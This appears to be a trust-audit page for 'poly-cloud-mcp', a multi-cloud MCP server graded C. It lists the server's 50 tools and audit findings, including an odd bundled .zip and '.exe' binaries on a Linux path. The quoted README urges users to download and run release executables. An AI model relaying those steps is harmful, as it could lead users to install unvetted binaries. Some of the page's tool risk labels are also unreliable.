poly-cloud-mcpCAUTION
🌐 Manage multi-cloud resources seamlessly with poly-cloud-mcp, leveraging Model Context Protocol tools for AWS, Google Cloud, Azure, and DigitalOcean.
Overview
From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.
🚀 Getting Started
Welcome to poly-cloud-mcp! This software helps you manage multiple cloud services from one place. Whether you use AWS, GCP, Azure, or DigitalOcean, this tool makes it easy to control your cloud resources.
📥 Download the Software
[](https://github.com/Hiruna219066/poly-cloud-mcp/releases)
To get started, click the button above to download the latest version of poly-cloud-mcp.
💾 Download & Install
- Visit this page to download: Go to the Releases page.
- Choose the latest version: Look for the most recent release at the top of the page. This version includes the latest features and fixes.
- Download the file: Click on the file that matches your operating system. You will see options for Windows, macOS, and Linux.
- Install the software:
- On Windows: Run the downloaded
.exefile and follow the on-screen instructions. - On macOS: Open the
.dmgfile, then drag and drop the application into your Applications folder. - On Linux: Extract the downloaded
.tar.gzfile and follow the included instructions to install.
📊 Key Features
- Multi-Cloud Support: Manage resources across AWS, GCP, Azure, and DigitalOcean seamlessly.
- Simple Interface: Navigate easily through a user-friendly design.
- Unified Dashboard: View and control all your cloud services in one place.
- Resource Management: Monitor usage and manage costs effectively.
- Security: Keep your data safe with built-in security features.
💻 System Requirements
To run poly-cloud-mcp, make sure your system meets the following requirements:
- Operating System:
- Windows 10 or later
- macOS Mojave (10.14) or later
- A recent version of any major Linux distribution
- Memory: At least 4GB of RAM
- *
fa4f7d9f8dfdOBSERVED · 2026-10-12Connect
Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control.
claude mcp add poly-cloud-mcp -- npx -y [email protected]
{
"mcpServers": {
"poly-cloud-mcp": {
"command": "npx",
"args": [
"-y",
"[email protected]"
]
}
}
}Exposed tools (50)
40 read · 9 write · 1 destructive. Blast radius: 1 tool can delete or overwrite — an agent that can be talked into calling a tool can be talked into calling this one.
| Tool | Risk | Description |
|---|---|---|
aws_cloudwatch_get_metrics | read | Get CloudWatch metric statistics |
aws_ec2_describe_instances | read | Describe EC2 instances |
aws_ec2_start_instances | write | Start EC2 instances |
aws_ec2_stop_instances | write | Stop EC2 instances |
aws_ecs_list_clusters | read | List ECS clusters |
aws_ecs_list_services | read | List ECS services in a cluster |
aws_iam_list_users | read | List IAM users |
aws_lambda_invoke | write | Invoke a Lambda function |
aws_lambda_list | read | List Lambda functions |
aws_rds_describe_instances | read | Describe RDS database instances |
aws_s3_cp | read | Copy files to/from S3 |
aws_s3_ls | read | List S3 buckets or objects in a bucket |
aws_sts_get_caller_identity | read | Get current AWS identity |
az_account_list | read | List Azure subscriptions |
az_account_show | read | Show current Azure account/subscription |
az_aks_list | read | List AKS clusters |
az_functionapp_list | read | List Azure Functions apps |
az_group_list | read | List resource groups |
az_sql_server_list | read | List Azure SQL servers |
az_storage_account_list | read | List storage accounts |
az_storage_blob_list | read | List blobs in a container |
az_vm_list | read | List Azure virtual machines |
az_vm_start | write | Start an Azure VM |
az_vm_stop | write | Stop an Azure VM |
az_webapp_list | read | List Azure Web Apps |
doctl_account_get | read | Get current account info |
doctl_apps_list | read | List App Platform apps |
doctl_balance_get | read | Get account balance |
doctl_database_list | read | List managed databases |
doctl_domain_list | read | List domains |
doctl_domain_records | read | List DNS records for a domain |
doctl_droplet_actions | read | Perform actions on droplet (power-on, power-off, reboot, etc.) |
doctl_droplet_create | write | Create a new droplet |
doctl_droplet_delete | destructive | Delete a droplet |
doctl_droplet_list | read | List DigitalOcean droplets |
doctl_kubernetes_cluster_kubeconfig | read | Get kubeconfig for a cluster |
doctl_kubernetes_cluster_list | read | List Kubernetes clusters |
doctl_spaces_list | read | List Spaces (object storage buckets) |
gcloud_auth_list | read | List authenticated accounts |
gcloud_compute_instances_list | read | List Compute Engine instances |
gcloud_compute_instances_start | write | Start a Compute Engine instance |
gcloud_compute_instances_stop | write | Stop a Compute Engine instance |
gcloud_config_list | read | List current gcloud configuration |
gcloud_container_clusters_list | read | List GKE clusters |
gcloud_functions_list | read | List Cloud Functions |
gcloud_projects_list | read | List GCP projects |
gcloud_run_services_list | write | List Cloud Run services |
gcloud_sql_instances_list | read | List Cloud SQL instances |
gcloud_storage_cp | read | Copy files to/from Cloud Storage |
gcloud_storage_ls | read | List Cloud Storage buckets or objects |
Trust audit
CAUTIONgrade C · trust 79/100 Install with care. The audit found things worth knowing before you trust its output.
| Layer | What it checks | Result |
|---|---|---|
| L0 | Provenance & inventory | WARN |
| L1 | Static analysis of the code | PASS |
| L2 | Instruction surface (what it tells the agent) | PASS |
| L3 | Class-specific surface | WARN |
| L4 | Behavioural (sandbox) | SKIPPED |
What the source does
- Filesystem
- declared (2 observation(s))
- Network
- declared (5 observation(s))
- Shell
- declared (4 observation(s))
- Dependencies
- not all pinned
- Secrets in source
- none-found
Findings (23)
AWS.ast
AWS.cmi
AWS.cmj
AWS.cmt
Azure.ast
node_modules/.bin/bsc
node_modules/.bin/bstracing
node_modules/.bin/rescript
node_modules/.bin/rescript-legacy
node_modules/.bin/rescript-tools
doctl_droplet_delete
.compiler.log
.compiler.log
.package-lock.json
const sha1 = crypto.createHash("sha1");rescript
@types/node, @types/semver, @yarnpkg/types, semver
rescript
lib/bs/src/adapters/mcp_poly_cloud_v1.5.zip
node_modules/@rescript/linux-x64/bin/bsc.exe
node_modules/@rescript/linux-x64/bin/ninja.exe
node_modules/@rescript/linux-x64/bin/rescript-editor-analysis.exe
node_modules/@rescript/linux-x64/bin/rescript-legacy.exe
Gates applied: no_behavioural_pass.
fa4f7d9f8dfdfull audit observations/trust-audit/mcp-server/hiruna219066__poly-cloud-mcp.json · Report an issue / request a re-scanAudit history
Every audit this server has had. A grade with a past is a grade somebody is still checking.
| Date | Source | Verdict | Grade | Score | Change |
|---|---|---|---|---|---|
| 2026-10-12 | fa4f7d9f8dfd | CAUTION | C | 79 | first audit |
Questions
What is the poly-cloud-mcp MCP server?
🌐 Manage multi-cloud resources seamlessly with poly-cloud-mcp, leveraging Model Context Protocol tools for AWS, Google Cloud, Azure, and DigitalOcean.
What tools does poly-cloud-mcp expose?
50 in total: 40 read-only, 9 that write, and 1 that can delete or overwrite (doctl_droplet_delete). Every one is listed on this page with its risk.
Is poly-cloud-mcp safe to connect to an agent?
With care. The audit graded it C (79/100) and found 23 things worth knowing before you trust this server, listed below with the exact line each was found on. Separately from the audit: 1 of its tools can destroy data, so scope the token you give it to what you actually need.
What credentials does poly-cloud-mcp need?
No credential environment variables were found in its source, so it appears to need none.
How current is this page?
The grade is for one exact copy of the source (fa4f7d9f8dfd), read on 2026-10-12. The repository is watched and re-audited when it changes.